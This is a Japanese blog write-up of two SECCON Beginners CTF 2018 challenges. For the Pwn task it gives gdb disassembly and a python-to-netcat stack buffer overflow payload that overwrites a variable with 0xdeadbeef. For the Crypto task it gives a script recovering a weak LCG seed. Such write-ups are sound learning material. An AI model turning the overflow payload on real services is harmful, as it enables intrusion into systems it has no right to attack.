SECCON Beginners CTF 2018参加録
サークルでCTFの大会に参加しました。1119点で844チーム中56位。そのときの備忘録を兼ねた自分の解いた問題のWrite-Upです。
[Pwn] condition
とりあえず接続してみる
$ nc pwn1.chall.beginners.seccon.jp 16268 Please tell me your name...hello Permission denied
接続先で動いているプログラムが与えられているのでダウンロードして、まずはstringsで含まれている文字列を調べてみます。
$ strings condition_68187f0953551cea907c48c016f19ff200de74b4 ... Please tell me your name... OK! You have permission to get flag!! flag.txt Permission denied ...
正しい入力をしたらflag.txtを表示する感じですかね。ローカルでテストしたいのでダウンロードフォルダと同じディレクトリに適当にflag.txtを用意して
$ echo hello > flag.txt
gdbで逆アセンブルしつつ、デバッガ上で突破できないか試してみます。
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./condition_68187f0953551cea907c48c016f19ff200de74b4...(no debugging symbols found)...done. (gdb) disas main Dump of assembler code for function main: 0x0000000000400771 <+0>: push %rbp 0x0000000000400772 <+1>: mov %rsp,%rbp 0x0000000000400775 <+4>: sub $0x30,%rsp 0x0000000000400779 <+8>: movl $0x0,-0x4(%rbp) 0x0000000000400780 <+15>: mov $0x4008d8,%edi 0x0000000000400785 <+20>: mov $0x0,%eax 0x000000000040078a <+25>: callq 0x400600 <printf@plt> 0x000000000040078f <+30>: lea -0x30(%rbp),%rax 0x0000000000400793 <+34>: mov %rax,%rdi 0x0000000000400796 <+37>: mov $0x0,%eax 0x000000000040079b <+42>: callq 0x400620 <gets@plt> 0x00000000004007a0 <+47>: cmpl $0xdeadbeef,-0x4(%rbp) 0x00000000004007a7 <+54>: jne 0x4007bf <main+78> 0x00000000004007a9 <+56>: mov $0x4008f8,%edi 0x00000000004007ae <+61>: callq 0x4005c0 <puts@plt> 0x00000000004007b3 <+66>: mov $0x40091e,%edi 0x00000000004007b8 <+71>: callq 0x4007d3 <read_file> 0x00000000004007bd <+76>: jmp 0x4007c9 <main+88> 0x00000000004007bf <+78>: mov $0x400927,%edi 0x00000000004007c4 <+83>: callq 0x4005c0 <puts@plt> 0x00000000004007c9 <+88>: mov $0x0,%edi 0x00000000004007ce <+93>: callq 0x400640 <exit@plt> End of assembler dump. (gdb) b *0x00000000004007a0 Breakpoint 1 at 0x4007a0 (gdb) run Starting program: /home/atsushi/Downloads/condition_68187f0953551cea907c48c016f19ff200de74b4 Please tell me your name...helloooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo Breakpoint 1, 0x00000000004007a0 in main () (gdb) i r rbp rbp 0x7fffffffdb70 0x7fffffffdb70 (gdb) set{int}0x7fffffffdb6c=0xdeadbeef (gdb) c Continuing. OK! You have permission to get flag!! hello [Inferior 1 (process 17809) exited normally] (gdb) quit
disas mainしてみると、スタックポインタをベースポインタから0x30引いて、48バイトのスタック領域を確保しています。その後に0xdeadbeafとベースポインタの4バイト下からを比較をしています。要は48バイトの入力をして、最後の4バイトを0xdeadbeafにすればいいわけです。リトルエンディアンなのでひっくり返して
$ python -c "print(0x2c * 'a' + '\xef\xbe\xad\xde')" | nc pwn1.chall.beginners.seccon.jp 16268 Please tell me your name...OK! You have permission to get flag!! ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}
わーい。
[Crypto] Streaming
文字列を暗号化するプログラムであるencrypt.pyと暗号化されたencryptedが与えられています。encrypt.pyの中身を見てみます。
import os from flag import flag class Stream: A = 37423 B = 61781 C = 34607 def __init__(self, seed): self.seed = seed % self.C def __iter__(self): return self def next(self): self.seed = (self.A * self.seed + self.B) % self.C return self.seed g = Stream(int(os.urandom(8).encode('hex'), 16)) encrypted = '' for i in range(0, len(flag), 2): a = int(flag[i:i+2].encode('hex'), 16) ^ g.next() encrypted += chr(a % 256) encrypted += chr(a / 256) open('encrypted', 'wb').write(encrypted)
ランダム生成されたseedが何だったのか分かれば良さそうです。また、2文字ずつ暗号化して、2文字から2文字を生成しているようです。コンテストのフラグの形式はctf4b{...}
なので、ctf4b{
を暗号化した結果がencryptedの最初の6文字と一致するシード値を探して、その後はそのシード値を使って[a-zA-Z0-9_-{}]からencryptedと比較しつつ選択してflagを生成していきます。
main.py
import os import random class Stream: ... seed = None text = 'ctf4b{' enc = open('encrypted', 'r').read() while True: seed = int(os.urandom(8).encode('hex'), 16) g = Stream(seed) flag = True for i in range(0, len(text), 2): a = int(text[i:i+2].encode('hex'), 16) ^ g.next() if chr(a % 256) != enc[i] or chr(a / 256) != enc[i+1]: flag = False break if flag: break chars = "1234567890-_{}qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM" res = "" g = Stream(seed) for i in range(0, len(enc), 2): n = g.next() while True: s = chars[random.randint(0, len(chars)-1)] + chars[random.randint(0, len(chars)-1)] a = int(s.encode('hex'), 16) ^ n if chr(a % 256) == enc[i] and chr(a / 256) == enc[i+1]: res += s break print res
実行します。
$ python main.py ctf4b{lcg-is-easily-predictable}
わーい。でも他の人のwrite-upと比べるとかなり頭の悪いことをやっていますね...